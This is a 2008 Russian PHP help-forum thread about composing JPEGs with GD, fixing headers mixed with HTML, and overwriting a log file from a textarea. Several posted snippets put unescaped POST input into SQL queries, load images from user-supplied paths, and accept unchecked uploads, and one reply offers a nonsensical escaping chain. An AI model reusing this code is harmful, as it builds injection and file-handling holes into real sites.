<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Загрузка</title>
</head>

<body>
<?
$im = imagecreatetruecolor(215, 750);

$im1 = imagecreatefromjpeg('verx.jpg');
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg('niz.jpg');

imagecopy($im, $im1, 0, 0, 0, 0, 25, 25);
imagecopy($im, $im2, 25, 0, 0, 0, 25, 25);
imagecopy($im, $im3, 0, 25, 0, 0, 25, 25);


imagejpeg($im);


?>

</body>
</html>

Всё равно выводит:
яШяаJFIFяю>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality яЫC    $.' ",#(7),01444'9=82<.342яЫC  2!!222222222222222222222222222222222222222222222 22222яАоЧ"яД яДµ}!1AQa"q2Ѓ‘Ў#B±БRСр$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ„ †‡?‰Љ’“”•–—�™љўЈ¤Ґ¦§ ©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХ ЦЧШЩЪбвгдежзийкстуфхцчшщъ яД яДµw!1AQaq"2ЃB‘Ў±Б #3RрbrС $4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ„ …†‡?‰Љ’“”•–—�™љўЈ¤Ґ¦ Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФ ХЦЧШЩЪвгдежзийктуфхцчшщъя Ъ ?х•ЦЭqІКањ(О�u9И!tСЋџ<Яа)Б@'”Ѓ[Щъі9u9cЅЬFЫЬе@Ђ1’о5вѕ!я‘—U яЇЙїф3^Щo3OМLЈК9 ЊдьЏй^'в|KЄяЧдЯъЇ+3шb}ЇЇў МЪ(ўјsфC†сь‡.а?ъ¬КУсь‡. ?ъ¬КъВЏў?Н?Я«Ћ_› (ўµ8BЉ( Љ( Љ( Љ( Љ( Љ( Љ( Љ( Љ( ґДЏРЂ9йњУЙbј0Пёй[ўЪ ЬГ\`Ёя B,•Дe „Ёя ЧњЗЩі_4ДГzЋ;/я^ѕfс7Љ|Џлэ“—}2оуqњ9й_]Й ІFоСG…’Ptь«вmя„чД[WbяiЬбHЖљЬcµaZњ*¤¦ЏCЋДаd凕 ЯDя4Л?р—УЏюEямhя„»юњт/яc\НПх:ЛшіТяY3Oщыя’Зь‹:…ЯЫ п¤№Щі~>\зuь*µWLbў’GЏV¬ЄОU&оЫmъ°ўЉ)™…Q@Q@Q@Q@Q@Q@Q@Q @Q@|дЂШдЊђ3Њюµ^ЪДЖWщШb Ђ:S»щh\дЃйЧйТ©Е5*ДЎci#“$”ѓЖG Ґ0%*n,Њjш#е`OЮЁь}kвПЁOxЌm Є\Ђ=?zХцФ1yA№rXоlњуЋХс?ЋядЎx—ю В·_ъ5ЁџўЉ)QEQEQEQEQEQEQEQEQEQEQE Ю·ЖЏ?¤6ѕ=Р*яшЭ!шНгц•%:р.™ ~ЕoЖzяptPя ЇвЗьTЋџиVяьnё‹ыЫЌOP№ї»“М №•¦™ц…ЬмIcЃАдћ•^Љ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉяЩ

scrat: во-первых можно было обойтись без того что выводит,а описать это словами,а если уж так не в терпёж сделай хоть в теге code

.:EnoT:.
16.12.2008, 16:39
geforce
Конечно не будет работать, т.к. твой хидер сообщает браузеру что содержимое это картинка jpg, вместе с html кодом.
Как вариант засунь вот это в один файл
<?php

$im = imagecreatetruecolor(215, 750);

$im1 = imagecreatefromjpeg('verx.jpg');
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg('niz.jpg');

imagecopy($im, $im1, 0, 0, 0, 0, 25, 25);
imagecopy($im, $im2, 25, 0, 0, 0, 25, 25);
imagecopy($im, $im3, 0, 25, 0, 0, 25, 25);

header('Content-type: image/jpeg');
imagejpeg($im);

?>
и ничего, кроме действий с картинкой туда не вписывай. А потом подключай этот файл как картинку.
Типа:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Загрузка</title>
</head><body>

<img src="file1.php" />

</body></html>

geforce
16.12.2008, 17:17
geforce
Конечно не будет работать, т.к. твой хидер сообщает браузеру что содержимое это картинка jpg, вместе с html кодом.
Как вариант засунь вот это в один файл
<?php

$im = imagecreatetruecolor(215, 750);

$im1 = imagecreatefromjpeg('verx.jpg');
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg('niz.jpg');

imagecopy($im, $im1, 0, 0, 0, 0, 25, 25);
imagecopy($im, $im2, 25, 0, 0, 0, 25, 25);
imagecopy($im, $im3, 0, 25, 0, 0, 25, 25);

header('Content-type: image/jpeg');
imagejpeg($im);

?>
и ничего, кроме действий с картинкой туда не вписывай. А потом подключай этот файл как картинку.
Типа:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Загрузка</title>
</head><body>

<img src="file1.php" />

</body></html>



РЕСПЕКТ ТЕБЕ ПРЯМО В ТОЧКУ

m0Hze
16.12.2008, 17:21
Такс,собственна вопрос.
Написал небольшую админку,для своего маленького проэктика.И теперь вот вопрос.
Грубо говоря, есть <textarea> В него выводиться file_get_contents('log.txt');
Теперь самвопрос.Как сделать так,чтобы после изменения в <textarea> этих самых данных,была кнопка сохранить,которая бы перезаписывала ети данные. Пробывал fwrite, то он тупо пишет все ето дело,в файл после оригинала.Ну собственно вопрос вроде ясен.
---------------
А теперь второй вопрос:
А как заставить например сделать вот это: file_get_contents('admin.php'); но шоба вывод был кодом.ТОесть на странице появился код,а не результат выполнения admin.php

geforce
16.12.2008, 17:22
А тогда вот так не работает что делать???? :confused:


<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);

if (!$result1)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$im = imagecreatetruecolor(215, 750);

$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($myrow1['url']);

imagecopy($im, $im1, 0, 0, 0, 0, 25, 25);
imagecopy($im, $im2, 25, 0, 0, 0, 25, 25);
imagecopy($im, $im3, 0, 25, 0, 0, 25, 25);

header('Content-type: image/jpeg');
imagejpeg($im);
}
else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}
?>

geforce
16.12.2008, 17:27
Такс,собственна вопрос.
Написал небольшую админку,для своего маленького проэктика.И теперь вот вопрос.
Грубо говоря, есть <textarea> В него выводиться file_get_contents('log.txt');
Теперь самвопрос.Как сделать так,чтобы после изменения в <textarea> этих самых данных,была кнопка сохранить,которая бы перезаписывала ети данные. Пробывал fwrite, то он тупо пишет все ето дело,в файл после оригинала.Ну собственно вопрос вроде ясен.
---------------
А теперь второй вопрос:
А как заставить например сделать вот это: file_get_contents('admin.php'); но шоба вывод был кодом.ТОесть на странице появился код,а не результат выполнения admin.php

Ответ на второй вопрос через 80-тый порт не как! Хотя если поробывать переписать содержимое файла admin.php в текстовый фалйл то может и сработает! Я не пробовал так что гарантий не даю!

Chode
16.12.2008, 17:29
тогда делать как тебе сказали, запятые ставь в предложениях при задавании вопроса
или сохраняй изображение в файловую систему, и выводи уже без заголовка

m0Hze
16.12.2008, 17:30
Хм,мжет в таком случае,есть другой оператор?) или опробывать все ето дело выводить в
' ', глуша код.Только вот как,ведь и file_get_contents('admin.php'); работать не будет в
' '..В общем,специальсты - хелп :)

geforce
16.12.2008, 17:34
тогда делать как тебе сказали, запятые ставь в предложениях при задавании вопроса
или сохраняй изображение в файловую систему, и выводи уже без заголовка

Так конешно можно через (copy();) , но ты прикинь скока у меня на хосте мусора появится, у меня там всего один гиг! И куча картинок уже имеется!
Может ещё как нибудь?

optimazer
16.12.2008, 17:39
второй вопрос:


$cont = file_get_contents('admin.php');
$cont = htmlspecialchars($cont);
$cont =strip_tags($cont);
$cont = mysql_escape_string($cont);
echo $cont;

m0Hze
16.12.2008, 17:41
Эм,чтото не совсем понятно,аж целых 3 строчки.Я правильно понимаю,что перваю глушит хтмл,вторая пыху,а 3 мускул?Или нет? В общем можно поподробнее.....

m0Hze
16.12.2008, 17:57
Так,с етим разобрались,тперь с 1 вопросм.Как заставить его переписать все существующие на новое?
-----------
Где найти описание вот етого:

$out = fopen("out.txt", "w");

Интересна вот ета часть - "w"
Есть много вариаций,и каждая чтото дает.Хотелосьб бы почитатьь про ети буковки...

.:EnoT:.
16.12.2008, 17:58
Эм,чтото не совсем понятно,аж целых 3 строчки.Я правильно понимаю,что перваю глушит хтмл,вторая пыху,а 3 мускул?Или нет? В общем можно поподробнее.....
Глушить пыху и мускул? Это мощно! :D
А как апач заглушить не подскажете?

nerezus
16.12.2008, 17:59
второй вопрос:

Цитата:$cont = file_get_contents('admin.php');
$cont = htmlspecialchars($cont);
$cont =strip_tags($cont);
$cont = mysql_escape_string($cont);
echo $cont;

Этот код примерно соответствует следующему в русском языке: маша лижет раму жопой в крыше ламы мамы.
Т.е. так же все эти строки вместе не имеют смысла.

.:EnoT:.
16.12.2008, 17:59
Интересна вот ета часть - "w"
Есть много вариаций,и каждая чтото дает.Хотелосьб бы почитатьь про ети буковки...
http://ru2.php.net/manual/ru/function.fopen.php

m0Hze
16.12.2008, 18:25
Такс,прочитал понял.
1 вопрос снимаеться.Всем спасибо огромное.
Но 2 вопрос мне так и не помогли,тока постебались над кем то :D

geforce
16.12.2008, 18:32
.:EnoT:.что делать код вот такой:

<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);

if (!$result1)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}

if (mysql_num_rows($result1) > 0)

{
$myrow1 = mysql_fetch_array($result1);

$im = imagecreatetruecolor(50, 50);
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($myrow1['url']);

imagecopy($im, $im1, 0, 0, 0, 0, 25, 25);
imagecopy($im, $im2, 25, 0, 0, 0, 25, 25);
imagecopy($im, $im3, 0, 25, 0, 0, 25, 25);

header('Content-type: image/jpg');
imagejpeg($im);



}

else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}

?>

А вывод вот такой:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Загрузка</title>
</head><body>

<div align="center"><img src='end1.php' /></div>

</body></html>

?????????????

m0Hze
16.12.2008, 18:47
Все,помогайте.Похоже моск изжарил весь.Застрялна тупом месте и все тут.Моск не хочет думать.Знаю что ошибка то тупая,но никак не придумаю что сделать.Собственно имеем код:

<?
$content = file_get_contents('logs.txt');
echo "<textarea name = logs
cols = 40
rows = 20>
$content
</textarea>";
echo "<br><input type = \"submit\">";
$logs = $_POST['logs'];
if($logs = ''){
exit();
}else{
$wr = fopen("logs.txt", "w");
fwrite($wr,"$logs");
fclose($wr);
}
?>

Собственно,заполняем файл logs.txt чем угодно,открываем страницу все работает,тект видно обновляем,и logs.txt пуст,соответственно данные не пишуца.Я впринцапе делал все ето в 2 разных документа,тоесть форму и обработчик отдельно, то все боричком,но мне хочеца,чтоб все было в 1 файлеке.Ну ошибка тупая,знаю,но чет никак не додумаюсь че воткнуть в иф,или что убрать.Моск не пашет :(
Естевственно понятно,что после обновки,@logs уже будет чемуто равна,так как поле уже не пустое....

.:EnoT:.
16.12.2008, 18:52
geforce
У тебя файл подразумевается как файл с картинками) Поэтому всякие предупреждения типа "Запрос не удался" смысла не имеют тут.
Я когда-то давно когда писал cms делал проще. Если запрос не выполнился или ещё какая-нибудь хня, просто выдавал браузеру картинку 1х1 px

include("db.php");
if (isset($_POST['vibor'])) $vibor = $_POST['vibor'];
if (isset($_POST['load'])) $adres = $_POST['load'];
$result1 = mysql_query("SELECT * FROM data WHERE id='".$vibor."'",$db);

if ($result1 && mysql_num_rows($result1)){

$myrow1 = mysql_fetch_array($result1);

$im = imagecreatetruecolor(50, 50);
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($myrow1['url']);

imagecopy($im, $im1, 0, 0, 0, 0, 25, 25);
imagecopy($im, $im2, 25, 0, 0, 0, 25, 25);
imagecopy($im, $im3, 0, 25, 0, 0, 25, 25);

header('Content-type: image/jpg');
imagejpeg($im);

}else{

$im = imagecreate(1,1);
imageColorAllocate($im, '', '', '');
header('Content-type: image/jpg');
imagejpeg($im);

}


И кстате говоря
if (isset($_POST['vibor'])) $vibor = $_POST['vibor'];
if (isset($_POST['load'])) $adres = $_POST['load'];
Это очень небезопасно, использовать в запросе неэкранированные данные.
И ещё, если у тебя $_POST['load'] не существует, то переменная $adres не будет объявлена, что приведёт к ошибке вот тут:
$im1 = imagecreatefromjpeg($adres);

.:EnoT:.
16.12.2008, 19:00
m0Hze
сделай форму отправки


$content = file_get_contents('logs.txt');
echo '<form action="" method="post">';
echo '<textarea name="logs" cols="40" rows="20">'.$content.'</textarea>';
echo '<br/><input type="submit"></form>';

$logs = !empty($_POST['logs']) ? $_POST['logs'] : false;

if($logs){

$wr = fopen('logs.txt', 'wt');
fwrite($wr, $logs);
fclose($wr);

}else{

die();
}

Doom123
16.12.2008, 19:02
m0Hze не понел вопрос но думаеца мне что ошибка в if($logs = '') .... т.к надо или
if($logs === '') или лучше if(empty($logs)) ....

а то в твоём примере ты не проверяешь равенство а присваеваешь .... и это всегда возвращяет TRUE

m0Hze
16.12.2008, 19:08
Списибо все работает.Но вот вопрос.Если мне приспичило почистить файл,я удаляю все содержимое в <textarea>, и отправляю,то он соответственно делает die();
Поэтому у меня вт такая идея(я просто никогда не работал с 2 кнопками) создать вторую кнопку,очистить.Както будет выглядеть?

.:EnoT:.
16.12.2008, 19:15
ну кнопочкой ты очистить можешь поле, а потом отправить пустые данные.
короче либо так:
$content = file_get_contents('logs.txt');
echo '<form action="" method="post">';
echo '<textarea name="logs" cols="40" rows="20">'.$content.'</textarea>';
echo '<br/><input type="submit"><input type="reset"></form>';

$logs = isset($_POST['logs']) ? $_POST['logs'] : false;

if($logs !== false){

$wr = fopen('logs.txt', 'wt');
fwrite($wr, $logs);
fclose($wr);

}


либо так:

$content = file_get_contents('logs.txt');
echo '<form action="" method="post">';
echo '<textarea name="logs" cols="40" rows="20">'.$content.'</textarea>';
echo '<br/><input type="submit"></form>';

$logs = !empty($_POST['logs']) ? $_POST['logs'] : false;

if($logs){

$wr = fopen('logs.txt', 'wt');
fwrite($wr, $logs);
fclose($wr);

}else{

$wr = fopen('logs.txt', 'wt');
fclose($wr);

}

groundhog
16.12.2008, 19:17
Тока я бы ещё файл открывал в режиме "a"...

Doom123
16.12.2008, 19:18
isset($_POST['logs']) если не ошибаюсь когда $_POST['logs'] пуст то isset вернёт false

.:EnoT:.
16.12.2008, 19:19
Тока я бы ещё файл открывал в режиме "a"...
Ну как я понимаю он перезаписывает файл, а не дополняет. Поэтому w :)

Doom123
нет, isset проверяет на существование
$a = '';
if(isset($a)) echo 'оно иссет';

NONi
16.12.2008, 19:23
что надо прописать чтобы рисунок повторялся до той степени пока не закончится текст возле него, но при этом текст в другой таблице!?

geforce
16.12.2008, 19:34
.:EnoT:.

Но суть проблемы остается смотри!
Есть база под названием img с таблицами data и fotos
в них поля одинаковые id, name, url!
Всё работает в 3-и шага!

1. index.php первый шаг!

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Загрузка</title>
</head>
<body>
<form enctype="multipart/form-data" method="POST" action="load.php">
<b>Фото:</b><br />
<input type="file" name="myfile" style="width:304px; height:18px" id="myfile" />
<br /><br />
<input style="height: 35px;" type="submit" value="Добавить фото" name="submit">
</form>
</body>
</html>

2. load.php второй шаг

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Untitled Document</title>
</head>
<body>
<?php
// Подключаемься к базе данных
include ("db.php");
//================Настройки============= //
$maxwidth = "300px"; // максимальная ширина картинок на превью
$fotos_dir = "fotos/"; // Директория для фотографий товаров
$foto_name = $fotos_dir.time()."_".basename($_FILES['myfile']['name']); // Полное имя файла вместе с путем
$foto_light_name = time()."_".basename($_FILES['myfile']['name']); // Имя файла исключая путь
$foto_tag = "<img src=\"$foto_name\" border=\"0\">"; // Готовый тэг для вставки картинки на страницу
$foto_tag_preview = "<img src=\"$foto_name\" border=\"0\" width=\"$maxwidth\">"; // Тот же тэг, но для превью
// Текст ошибок
$error_by_mysql = "<span style=\"font: bold 15px tahoma; color: red;\">Ошибка при добавлении данных в базу</span>";
$error_by_file = "<span style=\"font: bold 15px tahoma; color: red;\">Невозможно загрузить файл в директорию. Возможно её не существует</span>";
// Начало
if(isset($_FILES["myfile"]))
{
$myfile = $_FILES["myfile"]["tmp_name"];
$myfile_name = $_FILES["myfile"]["name"];
$myfile_size = $_FILES["myfile"]["size"];
$myfile_type = $_FILES["myfile"]["type"];
$error_flag = $_FILES["myfile"]["error"];
// Если ошибок не было
if($error_flag == 0)
{
$DOCUMENT_ROOT = $_SERVER['DOCMENT_ROOT'];
$upfile = getcwd()."\\fotos\\" . time()."_".basename($_FILES["myfile"]["name"]);
if ($_FILES['myfile']['tmp_name'])
{
//Если не удалось загрузить файл
if (!move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile))
{
echo "$error_by_file";
exit;
}

}
else
{
echo 'Проблема: возможна атака через загрузку файла. ';
echo $_FILES['myfile']['name'];
exit;
}
// Заносим путь картинки в базу данных
$q = "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')";
$query = mysql_query($q);
// Загрузка с базы
$result = mysql_query("SELECT * FROM foto WHERE name='$foto_light_name'",$db);
if (!$result)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}
if (mysql_num_rows($result) > 0)

{
$myrow = mysql_fetch_array($result);
printf ("<img src='%s'/>",$myrow['url']);
$adres = $myrow['url'];
}
else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}
// Данные успешно внесены в базу данных, выводим сообщение
if ($query == 'true') {
echo "<br /><b>Данные успешно внесены в базу</b>";
}
// В противном случае, выводим ошибку при добавлении в базу данных
else {
echo "$error_by_mysql";

}
}

elseif ($myfile_size == 0) {
echo "Пустая форма!";
}
}
?>
<form action="end.php" method="post" name="end">
<?
// Вывод базы картинок
$result1 = mysql_query("SELECT * FROM data",$db);
if (!$result1)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
do
{
printf ("<br><br><img src='admin/%s'><input name='vibor' type='radio' value='%s'><label>%s</label><br>",$myrow1["url"],$myrow1["id"],$myrow1["name"]);
}
while ($myrow1 = mysql_fetch_array($result1));
}
else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}
?>
<input name="load" type="hidden" value="<? echo $adres; ?>" />
<input name="sub" type="submit" value="далее" />
</form>

3. end.php тритий шаг(как ты посоветовал!!!)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Загрузка</title>
</head><body>
<div align="center"><img src='end1.php' /></div>
</body></html>

А в end1.php находится:

<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$im = imagecreatetruecolor(215, 750);
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($myrow1['url']);
imagecopy($im, $im1, 0, 0, 0, 0, 25, 25);
imagecopy($im, $im2, 25, 0, 0, 0, 25, 25);
imagecopy($im, $im3, 0, 25, 0, 0, 25, 25);
header('Content-type: image/jpeg');
imagejpeg($im);
}
else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}
?>

Проблема заключается в том что перевеные $vibor и $adres не передаются! Как это исправить????? :( :( :(

m0Hze
16.12.2008, 19:37
Хм,1 способ,впринцапе работает,как и 2.
Но в 1 способе,кнопка ресет,если файл заполнен чемто,выводит его содржимое.Как бу мне сделать так,шоб оно пропадало?ТОесть поле полностью очищалось.

geforce
16.12.2008, 19:43
